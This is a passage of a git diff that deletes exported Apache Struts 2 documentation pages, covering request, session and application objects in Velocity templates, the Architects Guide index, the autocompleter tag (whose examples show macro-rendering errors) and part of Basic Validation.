-<p><a shape="rect" href="exposing-framework-objects-to-jstl-with-a-jstl-and-displaytag-example.html">Exposing framework objects to JSTL, with a JSTL and DisplayTag Example</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/application-session-request-objects-in-vm.html b/content/docs/application-session-request-objects-in-vm.html
deleted file mode 100644
index f4c6a56..0000000
--- a/content/docs/application-session-request-objects-in-vm.html
+++ /dev/null
@@ -1,219 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Application, Session, Request objects in vm</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="application-session-request-objects-in-vm.html">Application, Session, Request objects in vm</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Application, Session, Request objects in vm</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13918">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13918">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13918">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13918">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13918">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13918">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-$req.session.servletContext.getAttribute(...)
-$req.session.getAttribute(...)
-$req.getAttribute(...)
-</pre>
-</div></div>
-
-
-<p>To get parameters from the QueryString or from a POSTed form, do not use getAttribute, use:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-$req.getParameter(...)
-</pre>
-</div></div>
-
-<p>But that's quite obvious, since $req is the request object and we all know how it works.</p>
-
-<p><strong>Example:</strong></p>
-
-<p>_<em>test.jsp</em>_:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
-&lt;%
-session.setAttribute("sessionFoo", "sessionBar");
-session.getServletContext().setAttribute("applicationFoo", "applicationBar");
-%&gt;
-
-&lt;p&gt;The following information should be available when sending the form below:
-
-&lt;ul&gt;
-	&lt;li&gt;Request parameter 'querystringFoo' with value 'querystringBar';&lt;/li&gt;
-	&lt;li&gt;Request parameter 'formFoo' with value 'formBar';&lt;/li&gt;
-	&lt;li&gt;Session attribute 'sessionFoo' with value 'sessionBar';&lt;/li&gt;
-	&lt;li&gt;Application attribute 'applicationFoo' with value 'applicationBar'.&lt;/li&gt;
-&lt;/ul&gt;
-&lt;/p&gt;
-
-&lt;form action="test.vm?querystringFoo=querystringBar" method="post"&gt;
-&lt;input type="hidden" name="formFoo" value="formBar"&gt;
-&lt;p&gt;&lt;input type="submit" value="Test!"&gt;&lt;/p&gt;
-&lt;/form&gt;
-&lt;/body&gt;&lt;/html&gt;
-</pre>
-</div></div>
-
-<p>_<em>test.vm</em>_:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
-
-#set ($ses = $req.getSession())
-#set ($app = $ses.getServletContext())
-
-&lt;p&gt;applicationFoo = $!app.getAttribute("applicationFoo") &lt;code&gt;(app.getAttribute("applicationFoo"))&lt;/code&gt;&lt;/p&gt;
-&lt;p&gt;sessionFoo = $!ses.getAttribute("sessionFoo") &lt;code&gt;(ses.getAttribute("sessionFoo"))&lt;/code&gt;&lt;/p&gt;
-&lt;p&gt;formFoo = $!req.getParameter("formFoo") &lt;code&gt;(req.getParameter("formFoo"))&lt;/code&gt;&lt;/p&gt;
-&lt;p&gt;querystringFoo = $!req.getParameter("querystringFoo") &lt;code&gt;(req.getParameter("queryStringFoo"))&lt;/code&gt;&lt;/p&gt;
-
-&lt;/body&gt;&lt;/html&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/architects-guide.html b/content/docs/architects-guide.html
deleted file mode 100644
index d10c158..0000000
--- a/content/docs/architects-guide.html
+++ /dev/null
@@ -1,144 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Architects Guide</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="architects-guide.html">Architects Guide</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Architects Guide</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45478">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45478">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45478">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45478">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45478">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45478">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-</p><ul><li><a shape="rect" href="big-picture.html">Big Picture</a>
-	<ul><li><a shape="rect" href="objectfactory.html">ObjectFactory</a></li><li><a shape="rect" href="actionmapper.html">ActionMapper</a></li><li><a shape="rect" href="action-proxy-actionproxy-factory.html">Action Proxy &amp; ActionProxy Factory</a></li><li><a shape="rect" href="configuration-provider-configuration.html">Configuration Provider &amp; Configuration</a></li></ul>
-	</li></ul>
-
-
-<h2 id="ArchitectsGuide-Next:">Next: <a shape="rect" href="migration-guide.html">Migration Guide</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/autocompleter.html b/content/docs/autocompleter.html
deleted file mode 100644
index a894d4a..0000000
--- a/content/docs/autocompleter.html
+++ /dev/null
@@ -1,196 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>autocompleter</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="autocompleter.html">autocompleter</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">autocompleter</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=46753">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=46753">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=46753">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=46753">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=46753">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=46753">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>To use this tag:</p>
-<ul><li>Add: <em>&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;</em> to your page.</li><li>The <a shape="rect" href="dojo-head.html">head</a> tag must be included on the page, which can be configured for performance or debugging purposes.</li><li>If the parseContent parameter for the <a shape="rect" href="dojo-head.html">head</a> tag is false (it is false by default), then the <strong>id</strong> tag is required.</li></ul>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Additional Examples</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For more examples see <a shape="rect" href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a></p></div></div>
-
-<h2 id="autocompleter-Description">Description</h2>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="autocompleter-Parameters">Parameters</h2>
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="autocompleter-Examples">Examples</h2>
-<p>Get list from an action:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Uses a list:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Autocompleter that reloads its content everytime the text changes (and the length of the text is greater than 3):</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Linking two autocompleters:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Set/Get selected values using JavaScript:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Using beforeNotifyTopics:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Using errorNotifyTopics:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Using errorNotifyTopics:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Using valueNotifyTopics:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="autocompleter-Caveats">Caveats </h2>
-
-<ul><li>The service that is producing the HTTP Response with JSON response to the Autocompleter tag must set the HTTP Header Response Content-Type to <code>text/json</code>. JSON has its own MIME type, which this tag expects.</li></ul>
-
-
-<ul><li>Since 2.0.9, there is a change in the value:key order. Now, the value <strong>must</strong> come before the key.</li></ul>
-
-
-
-
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/basic-validation.html b/content/docs/basic-validation.html
deleted file mode 100644
index 685cee5..0000000
--- a/content/docs/basic-validation.html
+++ /dev/null
@@ -1,143 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Basic Validation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="basic-validation.html">Basic Validation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Basic Validation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14196">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14196">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14196">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14196">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14196">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
